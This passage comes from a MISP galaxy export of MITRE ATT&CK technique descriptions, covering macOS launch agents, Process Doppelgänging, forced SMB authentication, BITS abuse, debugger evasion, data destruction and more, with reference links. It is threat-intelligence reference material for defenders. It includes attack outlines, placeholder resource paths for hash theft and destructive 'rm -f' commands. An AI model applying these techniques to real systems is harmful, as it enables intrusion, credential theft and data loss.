Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>$HOME/Library/LaunchAgents</code> (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).

Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific

user logs in (in the specific user's directory structure) or when any user logs in (which requires administrator privileges).

The tag is: *misp-galaxy:mitre-attack-pattern="Launch Agent - T1159"*

Table 8971. Table References

Links
https://attack.mitre.org/techniques/T1159
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/

Application Versioning - T1661

An adversary may push an update to a previously benign application to add malicious code. This can be accomplished by pushing an initially benign, functional application to a trusted application store, such as the Google Play Store or the Apple App Store. This allows the adversary to establish a trusted userbase that may grant permissions to the application prior to the introduction of malicious code. Then, an application update could be pushed to introduce malicious code.(Citation: android_app_breaking_bad)

This technique could also be accomplished by compromising a developer's account. This would allow an adversary to take advantage of an existing userbase without having to establish the userbase themselves.

The tag is: *misp-galaxy:mitre-attack-pattern="Application Versioning - T1661"*

Table 8972. Table References

Links
https://attack.mitre.org/techniques/T1661
https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-20.html
https://www.welivesecurity.com/2023/05/23/android-app-breaking-bad-legitimate-screen-recording-file-exfiltration/

Call Control - T1616

Adversaries may make, forward, or block phone calls without user authorization. This could be used for adversary goals such as audio surveillance, blocking or forwarding calls from the device owner, or C2 communication.

Several permissions may be used to programmatically control phone calls, including:

- `ANSWER_PHONE_CALLS` - Allows the application to answer incoming phone calls(Citation: Android Permissions)
- `CALL_PHONE` - Allows the application to initiate a phone call without going through the Dialer interface(Citation: Android Permissions)
- `PROCESS_OUTGOING_CALLS` - Allows the application to see the number being dialed during an outgoing call with the option to redirect the call to a different number or abort the call altogether(Citation: Android Permissions)
- `MANAGE_OWN_CALLS` - Allows a calling application which manages its own calls through the self-managed `ConnectionService` APIs(Citation: Android Permissions)
- `BIND_TELECOM_CONNECTION_SERVICE` - Required permission when using a `ConnectionService`(Citation: Android Permissions)
- `WRITE_CALL_LOG` - Allows an application to write to the device call log, potentially to hide malicious phone calls(Citation: Android Permissions)

When granted some of these permissions, an application can make a phone call without opening the dialer first. However, if an application desires to simply redirect the user to the dialer with a phone number filled in, it can launch an Intent using `Intent.ACTION_DIAL`, which requires no specific permissions. This then requires the user to explicitly initiate the call or use some form of [Input Injection](https://attack.mitre.org/techniques/T1516) to programmatically initiate it.

The tag is: *misp-galaxy:mitre-attack-pattern="Call Control - T1616"*

Table 8973. Table References

Links
https://attack.mitre.org/techniques/T1616
https://developer.android.com/reference/android/Manifest.permission
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-41.html
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-18.html
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-36.html
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-42.html

Software Extensions - T1176

Adversaries may abuse software extensions to establish persistent access to victim systems. Software extensions are modular components that enhance or customize the functionality of

software applications, including web browsers, Integrated Development Environments (IDEs), and other platforms.(Citation: Chrome Extension C2 Malware)(Citation: Abramovsky VSCode Security) Extensions are typically installed via official marketplaces, app stores, or manually loaded by users, and they often inherit the permissions and access levels of the host application.

Malicious extensions can be introduced through various methods, including social engineering, compromised marketplaces, or direct installation by users or by adversaries who have already gained access to a system. Malicious extensions can be named similarly or identically to benign extensions in marketplaces. Security mechanisms in extension marketplaces may be insufficient to detect malicious components, allowing adversaries to bypass automated scanners or exploit trust established during the installation process. Adversaries may also abuse benign extensions to achieve their objectives, such as using legitimate functionality to tunnel data or bypass security controls.

The modular nature of extensions and their integration with host applications make them an attractive target for adversaries seeking to exploit trusted software ecosystems. Detection can be challenging due to the inherent trust placed in extensions during installation and their ability to blend into normal application workflows.

The tag is: *misp-galaxy:mitre-attack-pattern="Software Extensions - T1176"*

Table 8974. Table References

Links
https://attack.mitre.org/techniques/T1176
https://blog.checkpoint.com/securing-the-cloud/malicious-vscode-extensions-with-more-than-45k-downloads-steal-pii-and-enable-backdoors/
https://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/
https://www.xorrior.com/No-Place-Like-Chrome/

Securityd Memory - T1167

In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple's keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple's securityd utility takes the user's logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user's password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)

If an adversary can obtain root access (allowing them to read securityd's memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user's logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)

The tag is: *misp-galaxy:mitre-attack-pattern="Securityd Memory - T1167"*

Table 8975. Table References

Links
http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain
http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way
https://attack.mitre.org/techniques/T1167
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/

Process Doppelgänging - T1186

Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)

Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)

Adversaries may leverage TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelgänging. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)

Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):

- Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.
- Load – Create a shared section of memory and load the malicious executable.
- Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
- Animate – Create a process from the tainted section of memory and initiate execution.

The tag is: *misp-galaxy:mitre-attack-pattern="Process Doppelgänging - T1186"*

Table 8976. Table References

Links
https://attack.mitre.org/techniques/T1186

https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/
https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx
https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx
https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx
https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx
https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf

User Evasion - T1618

Adversaries may attempt to avoid detection by hiding malicious behavior from the user. By doing this, an adversary's modifications would most likely remain installed on the device for longer, allowing the adversary to continue to operate on that device.

While there are many ways this can be accomplished, one method is by using the device's sensors. By utilizing the various motion sensors on a device, such as accelerometer or gyroscope, an application could detect that the device is being interacted with. That way, the application could continue to run while the device is not in use but cease operating while the user is using the device, hiding anything that would indicate malicious activity was ongoing. Accessing the sensors in this way does not require any permissions from the user, so it would be completely transparent.

The tag is: *misp-galaxy:mitre-attack-pattern="User Evasion - T1618"*

Table 8977. Table References

Links
https://attack.mitre.org/techniques/T1618

LSASS Driver - T1177

The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)

Adversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.

The tag is: *misp-galaxy:mitre-attack-pattern="LSASS Driver - T1177"*

Table 8978. Table References

Links
https://attack.mitre.org/techniques/T1177
https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://technet.microsoft.com/library/cc961760.aspx
https://technet.microsoft.com/library/dn408187.aspx

Forced Authentication - T1187

Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.

The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system.(Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.

Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443.(Citation: Didier Stevens WebDAV Traffic)(Citation: Microsoft Managing WebDAV Security)

Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource, it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary-controlled server.(Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials.(Citation: Cylance Redirect to SMB)

There are several different ways this can occur.(Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:

- A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request.(Citation: US-CERT APT Energy Oct 2017)
- A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\[remote address]\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.(Citation: US-CERT APT Energy Oct 2017)

Alternatively, by leveraging the <code>EfsRpcOpenFileRaw</code> function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of <code>EfsRpcOpenFileRaw</code> function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of a NTLM relay attack to gain access to remote systems on the same internal network.(Citation: Rapid7)(Citation: GitHub)

The tag is: *misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187"*

Table 8979. Table References

Links
https://attack.mitre.org/techniques/T1187
https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/
https://en.wikipedia.org/wiki/Server_Message_Block
https://github.com/hob0/hashjacking
https://github.com/topotam/PetitPotam
https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/
https://web.archive.org/web/20100210125749/https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx
https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf
https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/
https://www.us-cert.gov/ncas/alerts/TA17-293A

BITS Jobs - T1197

Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.

The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)

Adversaries may abuse BITS to download (e.g. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)), execute, and even clean up after running malicious code (e.g. [Indicator

Removal](https://attack.mitre.org/techniques/T1070)). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)

BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)

The tag is: *misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197"*

Table 8980. Table References

Links
https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/
https://attack.mitre.org/techniques/T1197
https://msdn.microsoft.com/library/aa362813.aspx
https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx
https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/
https://technet.microsoft.com/library/dd939934.aspx
https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1
https://www.secureworks.com/blog/malware-lingers-with-bits
https://www.symantec.com/connect/blogs/malware-update-windows-update

Trusted Relationship - T1199

Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship abuses an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.

Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers)

In Office 365 environments, organizations may grant Microsoft partners or resellers delegated administrator permissions. By compromising a partner or reseller account, an adversary may be

able to leverage existing delegated administrator relationships or send new delegated administrator offers to clients in order to gain administrative control over the victim tenant.(Citation: Office 365 Delegated Administration)

The tag is: *misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199"*

Table 8981. Table References

Links
https://attack.mitre.org/techniques/T1199
https://support.microsoft.com/en-us/topic/partners-offer-delegated-administration-26530dc0-ebba-415b-86b1-b55bc06b073e?ui=en-us&rs=en-us&ad=us
https://us-cert.cisa.gov/APTs-Targeting-IT-Service-Provider-Customers

Misattributable credentials - T1322

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1322).

The use of credentials by an adversary with the intent to hide their true identity and/or portray them self as another person or entity. An adversary may use misattributable credentials in an attack to convince a victim that credentials are legitimate and trustworthy when this is not actually the case. (Citation: FakeSSLCerts)

The tag is: *misp-galaxy:mitre-attack-pattern="Misattributable credentials - T1322"*

Table 8982. Table References

Links
https://attack.mitre.org/techniques/T1322

Debugger Evasion - T1622

Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)

Debugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.

Specific checks will vary based on the target and/or adversary. On Windows, this may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as <code>IsDebuggerPresent()</code> and <code> NtQueryInformationProcess()</code>, or manually checking the <code>BeingDebugged</code> flag of the Process Environment Block (PEB). On Linux,

this may involve querying `/proc/self/status` for the `TracerPID` field, which indicates whether or not the process is being traced by dynamic analysis tools.(Citation: Cado Security P2PInfect 2023)(Citation: Positive Technologies Hellhounds 2023) Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would “swallow” or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)

Malware may also leverage Structured Exception Handling (SEH) to detect debuggers by throwing an exception and detecting whether the process is suspended. SEH handles both hardware and software expectations, providing control over the exceptions including support for debugging. If a debugger is present, the program’s control will be transferred to the debugger, and the execution of the code will be suspended. If the debugger is not present, control will be transferred to the SEH handler, which will automatically handle the exception and allow the program’s execution to continue.(Citation: Apriorit)

Adversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as <code>OutputDebugStringW()</code>.(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)

The tag is: *misp-galaxy:mitre-attack-pattern="Debugger Evasion - T1622"*

Table 8983. Table References

Links
https://attack.mitre.org/techniques/T1622
https://github.com/LordNoteworthy/al-khaser/tree/master/al-khaser/AntiDebug
https://github.com/hasherezade/malware_training_vol1/blob/main/slides/module3/Module3_2_fingerprinting.pdf
https://github.com/processhacker/processhacker
https://github.com/vxunderground/VX-API/tree/main/Anti%20Debug
https://global.ptsecurity.com/analytics/pt-esc-threat-intelligence/hellhounds-operation-lahat
https://objective-see.com/blog/blog_0x60.html
https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/
https://www.apriorit.com/dev-blog/367-anti-reverse-engineering-protection-techniques-to-use-before-releasing-software
https://www.cadosecurity.com/blog/p2pinfect-new-variant-targets-mips-devices

DNS poisoning - T1382

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

DNS (cache) poisoning is the corruption of an Internet server's domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)

The tag is: *misp-galaxy:mitre-attack-pattern="DNS poisoning - T1382"*

Table 8984. Table References

Links
https://attack.mitre.org/techniques/T1382

Process Discovery - T1424

Adversaries may attempt to get information about running processes on a device. Information obtained could be used to gain an understanding of common software/applications running on devices within a network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1424) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Recent Android security enhancements have made it more difficult to obtain a list of running processes. On Android 7 and later, there is no way for an application to obtain the process list without abusing elevated privileges. This is due to the Android kernel utilizing the `hidepid` mount feature. Prior to Android 7, applications could utilize the `ps` command or examine the `/proc` directory on the device.(Citation: Android-SELinuxChanges)

In iOS, applications have previously been able to use the `sysctl` command to obtain a list of running processes. This functionality has been removed in later iOS versions.

The tag is: *misp-galaxy:mitre-attack-pattern="Process Discovery - T1424"*

Table 8985. Table References

Links
https://attack.mitre.org/techniques/T1424
https://code.google.com/p/android/issues/detail?id=205565

Audio Capture - T1429

Adversaries may capture audio to collect information by leveraging standard operating system APIs of a mobile device. Examples of audio information adversaries may target include user conversations, surroundings, phone calls, or other sensitive information.

Android and iOS, by default, require that applications request device microphone access from the user.

On Android devices, applications must hold the `RECORD_AUDIO` permission to access the microphone

or the `CAPTURE_AUDIO_OUTPUT` permission to access audio output. Because Android does not allow third-party applications to hold the `CAPTURE_AUDIO_OUTPUT` permission by default, only privileged applications, such as those distributed by Google or the device vendor, can access audio output.(Citation: Android Permissions) However, adversaries may be able to gain this access after successfully elevating their privileges. With the `CAPTURE_AUDIO_OUTPUT` permission, adversaries may pass the `MediaRecorder.AudioSource.VOICE_CALL` constant to `MediaRecorder.setAudioOutput`, allowing capture of both voice call uplink and downlink.(Citation: Manifest.permission)

On iOS devices, applications must include the `NSMicrophoneUsageDescription` key in their `Info.plist` file to access the microphone.(Citation: Requesting Auth-Media Capture)

The tag is: *misp-galaxy:mitre-attack-pattern="Audio Capture - T1429"*

Table 8986. Table References

Links
https://attack.mitre.org/techniques/T1429
https://blog.zecops.com/research/how-ios-malware-can-spy-on-users-silently/
https://developer.android.com/reference/android/Manifest.permission
https://developer.android.com/reference/android/media/MediaRecorder.AudioSource#VOICE_CALL
https://developer.apple.com/documentation/avfoundation/cameras_and_media_capture/requesting_authorization_for_media_capture_on_ios
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html
https://source.android.com/devices/tech/config/privacy-indicators

Unsecured Credentials - T1552

Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Shell History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).(Citation: Brining MimiKatz to Unix)

The tag is: *misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552"*

Table 8987. Table References

Links
https://attack.mitre.org/techniques/T1552
https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf

Impair Defenses - T1562

Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.

Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out, preventing a system from shutting down, or disabling or modifying the update process. Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Google Cloud Mandiant UNC3886 2024)(Citation: Emotet shutdown)

The tag is: *misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562"*

Table 8988. Table References

Links
https://attack.mitre.org/techniques/T1562
https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations
https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/

Protocol Tunneling - T1572

Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet.

There are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling)(Citation: Sygnia Abyss Locker 2025)

[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19)

Adversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol or Service Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2

communications and infrastructure.

The tag is: *misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572"*

Table 8989. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1572
https://www.bleepingcomputer.com/news/security/new-godlua-malware-evades-traffic-monitoring-via-dns-over-https/
https://www.ssh.com/ssh/tunneling
https://www.sygnia.co/blog/abyss-locker-ransomware-attack-analysis/

SMS Control - T1582

Adversaries may delete, alter, or send SMS messages without user authorization. This could be used to hide C2 SMS messages, spread malware, or various external effects.

This can be accomplished by requesting the `RECEIVE_SMS` or `SEND_SMS` permissions depending on what the malware is attempting to do. If the app is set as the default SMS handler on the device, the `SMS_DELIVER` broadcast intent can be registered, which allows the app to write to the SMS content provider. The content provider directly modifies the messaging database on the device, which could allow malicious applications with this ability to insert, modify, or delete arbitrary messages on the device.(Citation: SMS KitKat)(Citation: Android SmsProvider)

The tag is: *misp-galaxy:mitre-attack-pattern="SMS Control - T1582"*

Table 8990. Table References

Links
https://android-developers.googleblog.com/2013/10/getting-your-sms-apps-ready-for-kitkat.html
https://android.googlesource.com/platform/packages/providers/TelephonyProvider/ /7e7c274/src/com/android/providers/telephony/SmsProvider.java[https://android.googlesource.com /platform/packages/providers/TelephonyProvider//7e7c274/src/com/android/providers/telephony/ SmsProvider.java]
https://attack.mitre.org/techniques/T1582
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-16.html
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-41.html

Data Destruction - T1662

Adversaries may destroy data and files on specific devices or in large numbers to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote

drives.

To achieve data destruction, adversaries may use the `pm uninstall` command to uninstall packages or the `rm` command to remove specific files. For example, adversaries may first use `pm uninstall` to uninstall non-system apps, and then use `rm (-f) <file(s)>` to delete specific files, further hiding malicious activity.(Citation: rootnik_rooting_tool)(Citation: abuse_native_linux_tools)

The tag is: *misp-galaxy:mitre-attack-pattern="Data Destruction - T1662"*

Table 8991. Table References

Links
https://attack.mitre.org/techniques/T1662
https://unit42.paloaltonetworks.com/rootnik-android-trojan-abuses-commercial-rooting-tool-and-steals-private-information/
https://www.trendmicro.com/en_za/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html

Execution Guardrails - T1627

Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary's campaign. Values an adversary can provide about a target system or environment to use as guardrails may include environment information such as location.(Citation: SWB Exodus March 2019)

Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [System Checks](https://attack.mitre.org/techniques/T1633/001). While use of [System Checks](https://attack.mitre.org/techniques/T1633/001) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.

The tag is: *misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1627"*

Table 8992. Table References

Links
https://attack.mitre.org/techniques/T1627
https://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html

Email Spoofing - T1672

Adversaries may fake, or spoof, a sender's identity by modifying the value of relevant email

headers in order to establish contact with victims under false pretenses.(Citation: Proofpoint TA427 April 2024) In addition to actual email content, email headers (such as the FROM header, which contains the email address of the sender) may also be modified. Email clients display these headers when emails appear in a victim's inbox, which may cause modified emails to appear as if they were from the spoofed entity.

This behavior may succeed when the spoofed entity either does not enable or enforce identity authentication tools such as Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and/or Domain-based Message Authentication, Reporting and Conformance (DMARC).(Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC-overview)(Citation: Proofpoint-DMARC) Even if SPF and DKIM are configured properly, spoofing may still succeed when a domain sets a weak DMARC policy such as `v=DMARC1; p=none; fo=1;`. This means that while DMARC is technically present, email servers are not instructed to take any filtering action when emails fail authentication checks.(Citation: Proofpoint TA427 April 2024)(Citation: ic3-dprk)

